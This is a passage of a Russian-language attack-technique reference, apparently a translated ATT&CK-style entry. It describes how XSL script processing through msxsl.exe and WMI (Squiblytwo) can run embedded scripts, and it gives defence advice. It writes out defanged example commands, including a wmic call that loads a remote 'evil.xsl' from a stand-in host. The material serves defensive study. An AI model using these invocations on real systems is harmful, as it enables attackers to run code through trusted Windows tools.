Рекомендации по защите: Брандмауэры и веб-прокси могут использоваться для реализации политик внешних сетевых коммуникаций. IDS/IPS-системы, использующие сигнатурный анализ, могут выявлять известные вредоносные программы на сетевом уровне. Однако стоит учитывать, что со временем противники изменят сигнатуры инструментов C2 или перестроят протоколы так, чтобы избежать обнаружения с помощью общеприменяемых средств защиты. Применения средств мониторинга поведения пользователей может также повысить шанс выявления аномальной активности.

Обработка XSL-скриптов (XSL Script Processing)

Система: Windows
Права: Пользователь
Описание: Extensible Stylesheet Language (*.xsl), как правило, используется для описания обработки данных и рендеринга в XML-файлах. Для поддержки сложных операций в XSL есть возможность встраивания в код скриптов

на различных языках. Злоумышленники могут злоупотреблять этой функциональностью, чтобы выполнять произвольные файлы. Подобно технике злоупотребления доверенными утилитами разработчиков (Trusted Developer Utilities), доверенная утилита msxsl.exe, выполняющая преобразование XML-документа в другой вид (html, wml, rtf, pdf и т.п.) может использоваться для выполнения вредоносного JavaScript, встроенного в локальные или удаленные (указанные с помощью URL-ссылки) XSL-файлы. Поскольку по умолчанию msxsl.exe не установлен, то противнику вероятнее всего придется упаковывать его и другие необходимые файлы. Пример вызова msxsl.exe: *msxsl.exe customers[.]xml script[.]xsl*.

Другой вариант этой техники, именуемый Squiblytwo, заключается в использовании WMI для вызова JScript или VBScript из xsl-файла. В этой технике, подобно Squiblydoo, которая злоупотребляет regsrv32.exe, так же используется доверенные инструменты Windows:

• Локальный файл: *wmic process list /FORMAT:evil[.]xsl;*

• Удаленный файл: *wmic os get /FORMAT:«https[:]//example[.]com/evil[.]xsl». Рекомендации по защите:* Если в защищаемой среде не используется msxsl.exe, то заблокируйте его выполнение. Отключение WMI напротив может привести к нестабильности системы, поэтому требует предварительной оценки последствий.